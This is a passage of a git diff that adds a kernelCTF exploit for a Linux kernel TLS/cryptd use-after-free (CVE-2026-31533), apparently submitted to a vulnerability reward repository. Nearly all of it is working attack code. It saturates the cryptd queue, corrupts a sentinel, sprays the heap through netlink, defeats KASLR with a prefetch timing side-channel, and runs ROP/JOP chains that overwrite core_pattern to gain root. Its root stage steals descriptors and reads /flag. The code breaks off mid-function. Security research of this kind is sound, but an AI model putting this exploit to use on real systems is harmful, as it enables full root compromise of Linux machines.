* ======================================================================== */ +static void vuln_trigger(void) +{ + struct rlimit rl; + getrlimit(RLIMIT_NOFILE, &rl); + rl.rlim_cur = rl.rlim_max; /* raise soft to hard (no privilege needed) */ + setrlimit(RLIMIT_NOFILE, &rl); + + int budget = (int)rl.rlim_cur - 16; + int N = vt_env("VT_N", budget > 1010 ? 1010 : budget); + int delay = vt_env("VT_DELAY", 40000); + int retry = vt_env("VT_RETRY", 40); + + pin_cpu(0); + force_cryptd(); + cmsg_init(); + printf("=== CVE-2026-31533 --vuln-trigger (KASAN) N=%d delay=%dus retry=%d nofile=%lu ===\n", + N, delay, retry, (unsigned long)rl.rlim_cur); + + struct sockaddr_alg sa = {}; + sa.salg_family = AF_ALG; + strcpy((char *)sa.salg_type, "skcipher"); + strcpy((char *)sa.salg_name, "cryptd(rfc3686(ctr(aes-generic)))"); + int *op = calloc(N, sizeof(int)); + int made = 0; + for (int i = 0; i < N; i++) { + int a = socket(AF_ALG, SOCK_SEQPACKET, 0); + if (a < 0) break; + if (bind(a, (struct sockaddr *)&sa, sizeof(sa)) < 0) { close(a); break; } + setsockopt(a, SOL_ALG, ALG_SET_KEY, g_buf, 20); + op[i] = accept(a, NULL, 0); + close(a); + if (op[i] < 0) break; + made = i + 1; + } + printf("[*] %d cryptd op fds (queue cap ~1000)\n", made); + + io_context_t ctx; + memset(&ctx, 0, sizeof(ctx)); + io_setup(made + 8, &ctx); + struct iocb *cb = calloc(made + 2, sizeof(*cb)); + struct iocb **pp = calloc(made + 2, sizeof(*pp)); + + for (int attempt = 1; attempt <= retry; attempt++) { + /* arm every op fd + prep one AIO read each */ + for (int i = 0; i < made; i++) { + vt_arm(op[i]); + pp[i] = &cb[i]; + io_prep_pread(&cb[i], op[i], g_buf, 1, 0); + } + + int client, server; + if (vt_make_tls(&client, &server) < 0) { usleep(50000); continue; } + + /* craft the scatterlist layout + a pending record, set sk_err */ + send(client, g_buf, 0x7000 - 29, 0); + send(client, g_buf, 0xfd3, MSG_MORE); + unsigned char fake[5 + 64]; + fake[0] = 0x17; fake[1] = 0x03; fake[2] = 0x03; fake[3] = 0x00; fake[4] = 64; + memset(fake + 5, 0xCC, 64); + send(server, fake, sizeof(fake), 0); + usleep(10000); + char rx[256]; + recv(client, rx, sizeof(rx), MSG_DONTWAIT); + + /* burst-fill the per-CPU cryptd queue, then push the pending record */ + io_submit(ctx, made, pp); + usleep(delay); + int ret = tls_push_via_cmsg(client); + if (attempt <= 3 || ret < 0) + printf("[*] attempt %d/%d: cmsg push = %d (%s)\n", + attempt, retry, ret, ret < 0 ? strerror(-ret) : "ok"); + + if (ret < 0 && -ret != EAGAIN && -ret != EINPROGRESS) { + printf("[+] sentinel corrupted (err %d); triggering dangling callback (UAF)...\n", -ret); + int se = 0; socklen_t sl = sizeof(se); + getsockopt(client, SOL_SOCKET, SO_ERROR, &se, &sl); /* clear sk_err */ + + /* Phase 2: with encrypt_pending == 0, tls_encrypt_async_wait no + * longer waits. Re-saturate the cryptd queue and submit one more + * async TLS encrypt: the record is freed (bpf_exec_tx_verdict -> + * tls_free_open_rec) while its cryptd callback is still pending. + * No heap spray here, so the callback fires on the KASAN-poisoned + * freed tls_rec -> use-after-free report. */ + for (int i = 0; i < made; i++) { + vt_arm(op[i]); + io_prep_pread(&cb[i], op[i], g_buf, 1, 0); + pp[i] = &cb[i]; + } + io_prep_pwrite(&cb[made], client, g_buf, 64, 0); /* async TLS encrypt */ + pp[made] = &cb[made]; + io_submit(ctx, made + 1, pp); + sleep(3); /* let the dangling cryptd callback fire on freed memory */ + close(client); + close(server); + sleep(2); + printf("[*] vuln-trigger done\n"); + return; + } + + /* drain the burst so backlogged ops complete before we close/retry + * (otherwise tls_sk_proto_close would block in tls_encrypt_async_wait) */ + struct io_event ev[256]; + struct timespec ts = { 3, 0 }; + int got = 0; + while (got < made) { + int n = io_getevents(ctx, 1, 256, ev, &ts); + if (n <= 0) break; + got += n; + } + close(client); + close(server); + } + printf("[-] no -EBUSY after %d attempts; re-run --vuln-trigger\n", retry); +} +/* ───────────────── Main ───────────────── */ + +int main(int argc, char **argv) +{ + int ret; + + memset(g_buf, 0x41, sizeof(g_buf)); + setvbuf(stdout, NULL, _IONBF, 0); + setvbuf(stdin, NULL, _IONBF, 0); + /* + * === Root stage === + * Re-executed by the kernel as root via core_pattern = + * "|/proc//fd/666 %P" + * argv[1] is the crashed child's PID. We use pidfd_getfd() to steal its + * stdio descriptors so the flag is printed to the attacker's terminal. + */ + /* KASAN vulnerability trigger mode (used by the vuln-verify workflow). */ + if (argc > 1 && strcmp(argv[1], "--vuln-trigger") == 0) { + vuln_trigger(); + return 0; + } + + if (argc > 1) { + int pid = strtoull(argv[1], 0, 10); + int pidfd = syscall(SYS_pidfd_open, pid, 0); + int stdinfd = syscall(SYS_pidfd_getfd, pidfd, 0, 0); + int stdoutfd = syscall(SYS_pidfd_getfd, pidfd, 1, 0); + int stderrfd = syscall(SYS_pidfd_getfd, pidfd, 2, 0); + dup2(stdinfd, 0); + dup2(stdoutfd, 1); + dup2(stderrfd, 2); + /* Get flag and poweroff immediately to boost next round try in PR + * verification workflow*/ + int x = system("cat /flag; sleep 1; echo o>/proc/sysrq-trigger"); + exit(0); + } + + if (fork() == 0) // this process is used to trigger core_pattern exploit + { + pin_cpu(1); + setsid(); + crash(""); + } + + + detect_cpu_vendor(); + size_t kern_base = 0; + if(getenv("KTEXT")) kern_base = strtoull(getenv("KTEXT"),0,0x10); + else kern_base = bypass_kaslr(); + + struct rlimit rlim = { .rlim_cur = 0x1000, .rlim_max = 0x1000 }; + SYSCHK(setrlimit(RLIMIT_NOFILE, &rlim)); + + pin_cpu(0); + force_cryptd(); + cmsg_init(); + + pthread_barrier_init(&g_barrier, NULL, THREAD_COUNT + 1); + + printf("=== TLS-006 PoC ===\n\n"); + + /* ── 1. TCP pair + TLS ── */ + int client, server; + { + int serv = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); + int flag = 1; + setsockopt(serv, SOL_SOCKET, SO_REUSEADDR, &flag, sizeof(flag)); + struct sockaddr_in addr = { + .sin_family = AF_INET, + .sin_addr.s_addr = inet_addr("127.0.0.1"), + .sin_port = htons(SERVER_PORT), + }; + bind(serv, (struct sockaddr *)&addr, sizeof(addr)); + listen(serv, 1); + client = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); + SYSCHK(SYSCHK(connect(client, (struct sockaddr *)&addr, sizeof(addr)))); + socklen_t sz = sizeof(addr); + server = SYSCHK(accept(serv, (struct sockaddr *)&addr, &sz)); + close(serv); + + setsockopt(client, SOL_TCP, TCP_ULP, "tls", sizeof("tls")); + struct tls12_crypto_info_aes_ccm_128 info; + memset(&info, 0, sizeof(info)); + info.info.version = TLS_1_2_VERSION; + info.info.cipher_type = TLS_CIPHER_AES_CCM_128; + setsockopt(client, SOL_TLS, TLS_TX, &info, sizeof(info)); + setsockopt(client, SOL_TLS, TLS_RX, &info, sizeof(info)); + } + printf("[+] TLS client=%d server=%d\n", client, server); + + /* ── 2. Prepare all AF_ALG sockets ── */ + int *op_fds = calloc(TOTAL_ALG, sizeof(int)); + int *alg_fds = calloc(TOTAL_ALG, sizeof(int)); + pthread_t *tids = calloc(THREAD_COUNT, sizeof(pthread_t)); + + { + struct sockaddr_alg sa = { + .salg_family = AF_ALG, .salg_type = "skcipher", + .salg_name = "cryptd(rfc3686(ctr(aes-generic)))" + }; + char cbuf[CMSG_SPACE(4) + CMSG_SPACE(20)]; + memset(cbuf, 0, sizeof(cbuf)); + struct msghdr msg = { .msg_control = cbuf, .msg_controllen = sizeof(cbuf) }; + struct iovec iov = { .iov_base = g_buf, .iov_len = 0x10000 }; + msg.msg_iov = &iov; msg.msg_iovlen = 1; + + struct cmsghdr *cm = CMSG_FIRSTHDR(&msg); + cm->cmsg_level = SOL_ALG; cm->cmsg_type = ALG_SET_OP; + cm->cmsg_len = CMSG_LEN(4); + *(uint32_t *)CMSG_DATA(cm) = ALG_OP_ENCRYPT; + cm = CMSG_NXTHDR(&msg, cm); + cm->cmsg_level = SOL_ALG; cm->cmsg_type = ALG_SET_IV; + cm->cmsg_len = CMSG_LEN(20); + ((struct af_alg_iv *)CMSG_DATA(cm))->ivlen = 8; + + printf("[*] Preparing %d AF_ALG sockets...\n", TOTAL_ALG); + for (int i = 0; i < TOTAL_ALG; i++) { + alg_fds[i] = socket(AF_ALG, SOCK_SEQPACKET, 0); + if (alg_fds[i] < 0) err(1, "AF_ALG #%d", i); + SYSCHK(bind(alg_fds[i], (struct sockaddr *)&sa, sizeof(sa))); + + setsockopt(alg_fds[i], SOL_ALG, ALG_SET_KEY, g_buf, 20); + op_fds[i] = accept(alg_fds[i], NULL, 0); + if (op_fds[i] < 0) err(1, "accept #%d", i); + sendmsg(op_fds[i], &msg, 0); + close(alg_fds[i]); + } + } + printf("[+] %d AF_ALG sockets ready\n", TOTAL_ALG); + + /* ── 3. Prepare AIO iocbs ── */ + io_context_t aio_ctx; + memset(&aio_ctx, 0, sizeof(aio_ctx)); + io_setup(AIO_COUNT + 4, &aio_ctx); + + struct iocb *iocbs = calloc(AIO_COUNT, sizeof(struct iocb)); + struct iocb **ptrs = calloc(AIO_COUNT, sizeof(struct iocb *)); + for (int i = 0; i < AIO_COUNT; i++) { + ptrs[i] = &iocbs[i]; + io_prep_pread(&iocbs[i], op_fds[i], g_buf, 1, 0); + } + + /* ── 4. Launch threads (block on barrier) ── */ + struct drain_arg *dargs = calloc(THREAD_COUNT, sizeof(struct drain_arg)); + printf("[*] Launching %d threads...\n", THREAD_COUNT); + for (int i = 0; i < THREAD_COUNT; i++) { + dargs[i].op_fd = op_fds[AIO_COUNT + i]; + dargs[i].barrier = &g_barrier; + dargs[i].i = i; + pthread_create(&tids[i], NULL, drain_thread, &dargs[i]); + } + + /* Threads will block at pthread_barrier_wait — no explicit wait needed here. + * Just give them time to reach the barrier. */ + // usleep(500000); + printf("[+] Threads at barrier\n"); + + /* ── 5. Pending record + sk_err ── */ + send(client, g_buf, 0x7000-29, 0); // craft sg data layout + send(client, g_buf, 0xfd3, MSG_MORE); + { + unsigned char fake[5 + 64]; + fake[0] = 0x17; fake[1] = 0x03; fake[2] = 0x03; + fake[3] = 0x00; fake[4] = 64; + memset(fake + 5, 0xCC, 64); + send(server, fake, sizeof(fake), 0); + usleep(10000); + char rxbuf[256]; + recv(client, rxbuf, sizeof(rxbuf), MSG_DONTWAIT); + } + printf("[+] Pending record + sk_err set\n"); + + /* + * ── 6. CRITICAL: io_submit → barrier → usleep → cmsg push ── + * + * io_submit: bulk-fill CPU 0's queue (AIO, fast inline) + * barrier: release all threads → they flood queue (MAY_BACKLOG) + * usleep: let threads run and enqueue + * cmsg push: queue should be >= 1000 → -EBUSY + */ + //PAUSE; + printf("[*] FIRE: io_submit + barrier + cmsg push\n"); + //PAUSE; + + sleep(1); + io_submit(aio_ctx, AIO_COUNT, ptrs); + pthread_barrier_wait(&g_barrier); /* releases all threads */ + + ret = tls_push_via_cmsg(client); + printf("[*] cmsg push = %d", ret); + if (ret > 0) + printf(" (sent %d — no EBUSY)\n", ret); + else + printf(" (-%d: %s)\n", -ret, strerror(-ret)); + + if (ret >= 0 || -ret == EAGAIN || -ret == EINPROGRESS) { + printf("[-] No EBUSY. Try adjusting usleep or counts.\n"); + close(client); close(server); + goto cleanup; + } + + printf("[+] SENTINEL CORRUPTED (error %d)\n", -ret); + + /* ══════════════════════════════════════════════════════════ + * PHASE 2: Trigger UAF — send + close + spray + * ══════════════════════════════════════════════════════════ */ + + /* ── 7. Clear sk_err ── */ + { + int so_err = 0; + socklen_t len = sizeof(so_err); + getsockopt(client, SOL_SOCKET, SO_ERROR, &so_err, &len); + printf("[+] SO_ERROR=%d → cleared\n", so_err); + } + + /* ── 8. Wait for phase 1 queue to drain ── */ + printf("[*] Waiting for cryptd queue to drain...\n"); + sleep(2); + + /* Join phase 1 threads (they're done by now) */ + for (int i = 0; i < THREAD_COUNT; i++) + pthread_join(tids[i], NULL); + for (int i = 0; i < TOTAL_ALG; i++) { + close(op_fds[i]); + } + + /* ── 9. Prepare phase 2: fresh queue saturation + netlink spray ── */ + printf("[*] Preparing phase 2: re-saturation + netlink spray\n"); + + /* Prepare second set of AF_ALG sockets for re-saturation */ +#define SAT2_AIO 1000 + + int *op_fds2 = calloc(SAT2_AIO, sizeof(int)); + int *alg_fds2 = calloc(SAT2_AIO, sizeof(int)); + + { + struct sockaddr_alg sa2 = { + .salg_family = AF_ALG, .salg_type = "skcipher", + .salg_name = "cryptd(rfc3686(ctr(aes-generic)))" + }; + char cbuf2[CMSG_SPACE(4) + CMSG_SPACE(20)]; + memset(cbuf2, 0, sizeof(cbuf2)); + struct msghdr msg2 = { .msg_control = cbuf2, .msg_controllen = sizeof(cbuf2) }; + struct iovec iov2 = { .iov_base = g_buf, .iov_len = 0x10000 }; + msg2.msg_iov = &iov2; msg2.msg_iovlen = 1; + + struct cmsghdr *cm2 = CMSG_FIRSTHDR(&msg2); + cm2->cmsg_level = SOL_ALG; cm2->cmsg_type = ALG_SET_OP; + cm2->cmsg_len = CMSG_LEN(4); + *(uint32_t *)CMSG_DATA(cm2) = ALG_OP_ENCRYPT; + cm2 = CMSG_NXTHDR(&msg2, cm2); + cm2->cmsg_level = SOL_ALG; cm2->cmsg_type = ALG_SET_IV; + cm2->cmsg_len = CMSG_LEN(20); + ((struct af_alg_iv *)CMSG_DATA(cm2))->ivlen = 8; + + for (int i = 0; i < SAT2_AIO; i++) { + alg_fds2[i] = socket(AF_ALG, SOCK_SEQPACKET, 0); + if (alg_fds2[i] < 0) err(1, "AF_ALG2 #%d", i); + bind(alg_fds2[i], (struct sockaddr *)&sa2, sizeof(sa2)); + setsockopt(alg_fds2[i], SOL_ALG, ALG_SET_KEY, g_buf, 20); + op_fds2[i] = accept(alg_fds2[i], NULL, 0); + if (op_fds2[i] < 0) err(1, "accept2 #%d", i); + sendmsg(op_fds2[i], &msg2, 0); + close(alg_fds2[i]); + } + } + printf("[+] %d phase 2 AF_ALG sockets ready\n", SAT2_AIO); + + /* AIO iocbs for phase 2 */ + io_context_t aio_ctx2; + memset(&aio_ctx2, 0, sizeof(aio_ctx2)); + io_setup(SAT2_AIO + 17, &aio_ctx2); + + struct iocb *iocbs2 = calloc(SAT2_AIO + 17, sizeof(struct iocb)); + struct iocb **ptrs2 = calloc(SAT2_AIO + 17, sizeof(struct iocb *)); + for (int i = 0; i < SAT2_AIO; i++) { + ptrs2[i] = &iocbs2[i]; + io_prep_pread(&iocbs2[i], op_fds2[i], g_buf, 1, 0); + } + + /* Prepare netlink spray socket */ + int sock_nl_srv = SYSCHK(socket(AF_NETLINK, SOCK_RAW, NETLINK_USERSOCK)); + { + struct sockaddr_nl addr = { .nl_family = AF_NETLINK, .nl_pid = 5555 }; + if (bind(sock_nl_srv, (struct sockaddr *)&addr, sizeof(addr)) < 0) + err(1, "bind netlink srv"); + } + int sock_nl = socket(AF_NETLINK, SOCK_RAW, NETLINK_USERSOCK); + { + struct sockaddr_nl addr = { .nl_family = AF_NETLINK, .nl_pid = 5555 }; + if (connect(sock_nl, (struct sockaddr *)&addr, sizeof(addr)) < 0) + err(1, "connect netlink"); + } + /* Spray buffer — fill with recognizable pattern for KASAN detection */ + char *spray_buf = mmap(NULL, 0x10000, PROT_READ|PROT_WRITE, + MAP_ANONYMOUS|MAP_PRIVATE|MAP_POPULATE, -1, 0); + memset(spray_buf, 0x42, 0x1000); + size_t* rop = (void*)&spray_buf[0x7e0]; + exploit_gen(rop, kern_base); +#ifdef TARGET_LTS + rop[2] = kern_base+0x12f40cdUL; +#endif +#ifdef TARGET_COS + rop[2] = kern_base+0xfeae7dUL; +#endif + + ptrs2[SAT2_AIO] = &iocbs2[SAT2_AIO]; + io_prep_pwrite(&iocbs2[SAT2_AIO], client, g_buf, 64, 0); + + for (int i = SAT2_AIO+1; i < SAT2_AIO+17; i++) { + ptrs2[i] = &iocbs2[i]; + io_prep_pwrite(&iocbs2[i], sock_nl, spray_buf, 3200, 0); + } + + /* ── 11. FIRE: saturate → send → close → spray ── */ + printf("[*] Phase 2 FIRE: saturate + send + close + spray\n"); + + /* Saturate queue */ + io_submit(aio_ctx2, SAT2_AIO+17, ptrs2); + //pthread_barrier_wait(&barrier2); + //usleep(5000); /* let threads fill queue */ + + /* Send data — encryption goes to END of queue. + * tls_encrypt_async_wait skips (sentinel=0) → returns immediately. */ + printf("[+] Spray done. Waiting for cryptd callback (UAF)...\n"); + + /* Wait for cryptd to process our TLS request → callback on freed/sprayed memory */ + sleep(3); + + /* Cleanup */ + for (int i = 0; i < SAT2_AIO; i++) { + close(op_fds2[i]); + } + close(sock_nl); close(sock_nl_srv); + free(iocbs2); free(ptrs2); + free(alg_fds2); free(op_fds2); + io_destroy(aio_ctx2); + +cleanup: + free(iocbs); free(ptrs); free(tids); free(dargs); + free(alg_fds); free(op_fds); + io_destroy(aio_ctx); + pthread_barrier_destroy(&g_barrier); + + return 0; +} diff --git a/pocs/linux/kernelctf/CVE-2026-31533_lts_cos/exploit/lts-6.12.77/Makefile b/pocs/linux/kernelctf/CVE-2026-31533_lts_cos/exploit/lts-6.12.77/Makefile new file mode 100644 index 000000000..9e70c6217 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-31533_lts_cos/exploit/lts-6.12.77/Makefile @@ -0,0 +1,25 @@ +# kernelCTF CVE-2026-31533 — exploit for target lts-6.12.77 +# +# The exploit links against libaio (io_submit batching is used to saturate the +# per-CPU cryptd queue). The `prerequisites` target installs it; the kernelCTF +# CI runs `make prerequisites` automatically before `make exploit` if present. + +CFLAGS = -static -O2 -DTARGET_LTS +LDFLAGS = -laio -lpthread + +all: exploit + +prerequisites: + sudo apt-get update + sudo apt-get install -y libaio-dev + +exploit: exploit.c + gcc $(CFLAGS) -o exploit exploit.c $(LDFLAGS) + +run: exploit + ./exploit + +clean: + rm -f exploit + +.PHONY: all prerequisites run clean diff --git a/pocs/linux/kernelctf/CVE-2026-31533_lts_cos/exploit/lts-6.12.77/exploit b/pocs/linux/kernelctf/CVE-2026-31533_lts_cos/exploit/lts-6.12.77/exploit new file mode 100755 index 000000000..2cee8fca6 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2026-31533_lts_cos/exploit/lts-6.12.77/exploit differ diff --git a/pocs/linux/kernelctf/CVE-2026-31533_lts_cos/exploit/lts-6.12.77/exploit.c b/pocs/linux/kernelctf/CVE-2026-31533_lts_cos/exploit/lts-6.12.77/exploit.c new file mode 100644 index 000000000..6ff56bacd --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-31533_lts_cos/exploit/lts-6.12.77/exploit.c @@ -0,0 +1,926 @@ +/* + * TLS-006 PoC: encrypt_pending sentinel corruption + * + * io_submit (1000 AIO) fills queue fast, then pthread_barrier releases + * 1100 threads (sync MAY_BACKLOG) to keep it full. cmsg push hits -EBUSY. + * sk_err set beforehand → double-decrement → sentinel lost. + */ + +#define _GNU_SOURCE + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +// core_pattern overwrite: crash a child to trigger payload + +/* + * Pivot type: jop + * Source register: r12 + * Step 1: kern_base + 0x12f40cd @ mov rax, qword ptr [r12 + 0x40] ; mov rdi, r12 ; pop rbp ; pop r12 ; pop r13 ; jmp rax + * Pivot: kern_base + 0x35795 @ push rdi ; pop rsp ; add dword ptr [rcx], 0x48 ; cwde ; ret + * Dispatch: place kern_base + 0x35795 at [r12+0x40] + * ROP chain starts at [r12+0x0] + */ + +#ifdef TARGET_LTS +#define OBJ_SIZE 0x100 + +// NOTE: place 20 bytes at user address 0x4141414141414141: +char pattern[] = "|/proc/%P/fd/666 %P"; + +void exploit_gen(uint64_t *obj, uint64_t kern_base) { + memset(obj, 0, OBJ_SIZE); + obj[0x0 / 8] = kern_base + 0x13ec5e; // ROP chain start | shift: add rsp, 0x10 ; ret (skip 0x10) + /* +0x10 RESERVED */ + obj[0x18 / 8] = kern_base + 0x3e8432; // pop rdx ; ret + obj[0x20 / 8] = 0x14; + obj[0x28 / 8] = kern_base + 0x538e; // pop rsi ; ret + obj[0x30 / 8] = (size_t)&pattern; + obj[0x38 / 8] = kern_base + 0x188a900; // shift: lea rsp, [rsp + 8] ; ret (skip 0x8) + obj[0x40 / 8] = kern_base + 0x35795; // dispatch[0] -> kern_base + 0x35795 + obj[0x48 / 8] = kern_base + 0xe70d; // pop rdi ; ret + obj[0x50 / 8] = kern_base + 0x3611700; // core_pattern + obj[0x58 / 8] = kern_base + 0xb7c9d0; // _copy_from_user + obj[0x60 / 8] = kern_base + 0xe70d; // pop rdi ; ret + obj[0x68 / 8] = 0x3b9aca00; + obj[0x70 / 8] = kern_base + 0x275970; // msleep + +} +#endif + +/* + * Pivot type: jop + * Source register: r12 + * Step 1: kern_base + 0xfeae7d @ mov rax, qword ptr [r12 + 0x40] ; mov rdi, r12 ; pop rbp ; pop r12 ; pop r13 ; jmp rax + * Pivot: kern_base + 0x4d4e1b @ push rdi ; pop rsp ; ret + * Dispatch: place kern_base + 0x4d4e1b at [r12+0x40] + * ROP chain starts at [r12+0x0] + */ + +#ifdef TARGET_COS +#define OBJ_SIZE 0x100 +// NOTE: place 20 bytes at user address 0x4141414141414141: +char pattern[] = "|/proc/%P/fd/666 %P"; + +void exploit_gen(uint64_t *obj, uint64_t kern_base) { + memset(obj, 0, OBJ_SIZE); + obj[0x0 / 8] = kern_base + 0x135ef86; // ROP chain start | shift: add rsp, 0x10 ; ret (skip 0x10) + /* +0x10 RESERVED */ + obj[0x18 / 8] = kern_base + 0x160db4; // pop rdi ; ret + obj[0x20 / 8] = kern_base + 0x2fb32a0; // core_pattern + obj[0x28 / 8] = kern_base + 0x6bfcc3; // pop rdx ; ret + obj[0x30 / 8] = 0x14; + obj[0x38 / 8] = kern_base + 0x155ac00; // shift: lea rsp, [rsp + 8] ; ret (skip 0x8) + obj[0x40 / 8] = kern_base + 0x4d4e1b; // dispatch[0] -> kern_base + 0x4d4e1b + obj[0x48 / 8] = kern_base + 0x27d8e6; // pop rsi ; ret + obj[0x50 / 8] = (size_t)&pattern; + obj[0x58 / 8] = kern_base + 0x9c01b0; // _copy_from_user + obj[0x60 / 8] = kern_base + 0x160db4; // pop rdi ; ret + obj[0x68 / 8] = 0x3b9aca00; + obj[0x70 / 8] = kern_base + 0x27a4c0; // msleep +} +#endif + +#define PAUSE \ +{ \ + int x; \ + printf(":"); \ + x = read(0, &x, 1); \ +} + +#define SYSCHK(x) ({ \ + typeof(x) __res = (x); \ + if (__res == (typeof(x))-1) \ + err(1, "SYSCHK(" #x ")"); \ + __res; \ + }) + + +#define SERVER_PORT 7777 +#define AIO_COUNT 1000 +#define THREAD_COUNT 3000 +#define TOTAL_ALG (AIO_COUNT + THREAD_COUNT) +#define SOL_TLS 282 +#define TLS_SET_RECORD_TYPE 1 +#define KERNEL_DEFAULT_BASE 0xffffffff81000000UL + +static char g_buf[0x10000]; +static pthread_barrier_t g_barrier; + +/* ───────────────── Helpers ───────────────── */ + +static void pin_cpu(int cpu) +{ + cpu_set_t set; + CPU_ZERO(&set); + CPU_SET(cpu, &set); + sched_setaffinity(0, sizeof(set), &set); +} + +static void force_cryptd(void) +{ + int fd = socket(AF_ALG, SOCK_SEQPACKET, 0); + if (fd < 0) err(1, "AF_ALG"); + struct sockaddr_alg sa1 = { + .salg_family = AF_ALG, .salg_type = "skcipher", + .salg_name = "cryptd(ctr(aes-generic))" + }; + bind(fd, (struct sockaddr *)&sa1, sizeof(sa1)); + fd = socket(AF_ALG, SOCK_SEQPACKET, 0); + struct sockaddr_alg sa2 = { + .salg_family = AF_ALG, .salg_type = "aead", + .salg_name = "ccm_base(cryptd(ctr(aes-generic)),cbcmac(aes-aesni))" + }; + bind(fd, (struct sockaddr *)&sa2, sizeof(sa2)); +} + +/* ───────────────── Drain thread ───────────────── */ + +struct drain_arg { + int op_fd; + int i; + pthread_barrier_t *barrier; +}; + +static void *drain_thread(void *arg) +{ + struct drain_arg *d = arg; + int x; + char out[4096]; + + pthread_barrier_wait(d->barrier); + pin_cpu(0); + + for(int i=0;i<0x10;i++) x = read(d->op_fd, out, 0x1000); + //printf("%d|",d->i); + return NULL; +} + +/* ───────────────── cmsg push (pre-built) ───────────────── */ + +static char g_cmsg_cbuf[CMSG_SPACE(1)]; +static struct msghdr g_cmsg_msg; +static struct iovec g_cmsg_iov; + +static void cmsg_init(void) +{ + memset(g_cmsg_cbuf, 0, sizeof(g_cmsg_cbuf)); + g_cmsg_iov.iov_base = (void*)0x41414100; + g_cmsg_iov.iov_len = 1; + g_cmsg_msg.msg_control = g_cmsg_cbuf; + g_cmsg_msg.msg_controllen = sizeof(g_cmsg_cbuf); + g_cmsg_msg.msg_iov = &g_cmsg_iov; + g_cmsg_msg.msg_iovlen = 1; + + struct cmsghdr *cmsg = CMSG_FIRSTHDR(&g_cmsg_msg); + cmsg->cmsg_level = SOL_TLS; + cmsg->cmsg_type = TLS_SET_RECORD_TYPE; + cmsg->cmsg_len = CMSG_LEN(1); + *CMSG_DATA(cmsg) = 0x17; +} + +static int tls_push_via_cmsg(int fd) +{ + int ret = sendmsg(fd, &g_cmsg_msg, MSG_DONTWAIT); + return ret < 0 ? -errno : ret; +} + +int check_core() +{ + // Check if /proc/sys/kernel/core_pattern has been overwritten + char buf[0x100] = {}; + int core = open("/proc/sys/kernel/core_pattern", O_RDONLY); + int x = read(core, buf, sizeof(buf)); + close(core); + return strncmp(buf, "|/proc/%P/fd/666 %P", 0x13) == 0; +} + +void crash(char *cmd) +{ + int memfd = memfd_create("", 0); + SYSCHK(sendfile(memfd, open("/proc/self/exe", 0), 0, 0xffffffff)); + dup2(memfd, 666); + close(memfd); + while (check_core() == 0) + sleep(1); + /* Trigger program crash and cause kernel to executes program from core_pattern which is our "root" binary */ + *(size_t *)0 = 0; +} + + +/* ======================================================================== + * KASLR bypass via EntryBleed-style prefetch timing side-channel + * ======================================================================== */ + +/* + * The prefetch side-channel needs a different reduction depending on the + * micro-architecture / environment: + * - Intel (bare metal, e.g. the kernelCTF remote): the mapped kernel text + * stands out as the single MINIMUM prefetch time; coarse 16 MB steps work. + * - AMD and virtualized/KVM hosts (e.g. GitHub Actions CI runners): the + * signal is noisier and is recovered as the fine-grained (2 MB) window + * with the highest aggregate time. + * The method is selected at runtime from the CPU vendor (see + * detect_cpu_vendor()) so a single binary is reliable both on the Intel remote + * and on AMD CI runners. (Previously the Intel variant was hardcoded, which + * mis-detected the base on the AMD CI runner.) + */ +#define KASLR_SCAN_START (KERNEL_DEFAULT_BASE) +#define KASLR_SCAN_END_MAX (0xffffffffD0000000ull) +#define KASLR_SCAN_STEP_MIN 0x200000ull +#define KASLR_SAMPLES_PER_ADDR 16 +#define KASLR_MAX_ENTRIES ((int)((KASLR_SCAN_END_MAX - KASLR_SCAN_START) / KASLR_SCAN_STEP_MIN + 1)) + +typedef unsigned long long u64; + +/* 1 = GenuineIntel (single-minimum method), 0 = AMD/other (max-window method) */ +static int g_is_intel; + +static void detect_cpu_vendor(void) +{ + unsigned int eax, ebx, ecx, edx; + asm volatile("cpuid" : "=a"(eax), "=b"(ebx), "=c"(ecx), "=d"(edx) + : "a"(0), "c"(0)); + /* vendor string "GenuineIntel" => ebx="Genu", edx="ineI", ecx="ntel" */ + g_is_intel = (ebx == 0x756e6547 && edx == 0x49656e69 && ecx == 0x6c65746e); +} + +inline __attribute__((always_inline)) uint64_t rdtsc_begin(void) +{ + uint64_t a, d; + asm volatile ("mfence\n\t" + "RDTSCP\n\t" + "mov %%rdx, %0\n\t" + "mov %%rax, %1\n\t" + "xor %%rax, %%rax\n\t" + "lfence\n\t" + : "=r" (d), "=r" (a) + : + : "%rax", "%rbx", "%rcx", "%rdx"); + a = (d << 32) | a; + return a; +} + +inline __attribute__((always_inline)) uint64_t rdtsc_end(void) +{ + uint64_t a, d; + asm volatile( + "xor %%rax, %%rax\n\t" + "lfence\n\t" + "RDTSCP\n\t" + "mov %%rdx, %0\n\t" + "mov %%rax, %1\n\t" + "mfence\n\t" + : "=r" (d), "=r" (a) + : + : "%rax", "%rbx", "%rcx", "%rdx"); + a = (d << 32) | a; + return a; +} + +void prefetch_addr(void *addr) +{ + asm volatile ( + "prefetchnta (%0)\n" + "prefetcht2 (%0)\n" + : : "r" (addr)); +} + +size_t measure_prefetch_time(void *addr) +{ + size_t time = rdtsc_begin(); + prefetch_addr(addr); + size_t delta = rdtsc_end() - time; + return delta; +} + +size_t bypass_kaslr(void) +{ + const u64 scan_end = g_is_intel ? 0xffffffffD0000000ull : 0xffffffffc0000000ull; + const u64 scan_step = g_is_intel ? 0x1000000ull : 0x200000ull; + const int num_votes = g_is_intel ? 7 : 9; + const int window = g_is_intel ? 1 : 11; /* 1 => single-minimum method */ + const int n_entries = (int)((scan_end - KASLR_SCAN_START) / scan_step); + + static size_t times[KASLR_MAX_ENTRIES]; + static uint64_t scan_addrs[KASLR_MAX_ENTRIES]; + u64 base = 0; + + while (1) { + u64 vote_results[16] = {0}; /* num_votes <= 9 */ + + for (int vote = 0; vote < num_votes; vote++) { + for (int idx = 0; idx < n_entries; idx++) { + times[idx] = ~0UL; + scan_addrs[idx] = KASLR_SCAN_START + scan_step * (u64)idx; + } + + for (int sample = 0; sample < KASLR_SAMPLES_PER_ADDR; sample++) { + for (int idx = 0; idx < n_entries; idx++) { + size_t elapsed = measure_prefetch_time((void *)scan_addrs[idx]); + if (elapsed < times[idx]) + times[idx] = elapsed; + } + } + + if (window == 1) { + /* Intel: the mapped kernel base = single minimum time */ + size_t min_time = ~0UL; + int min_idx = 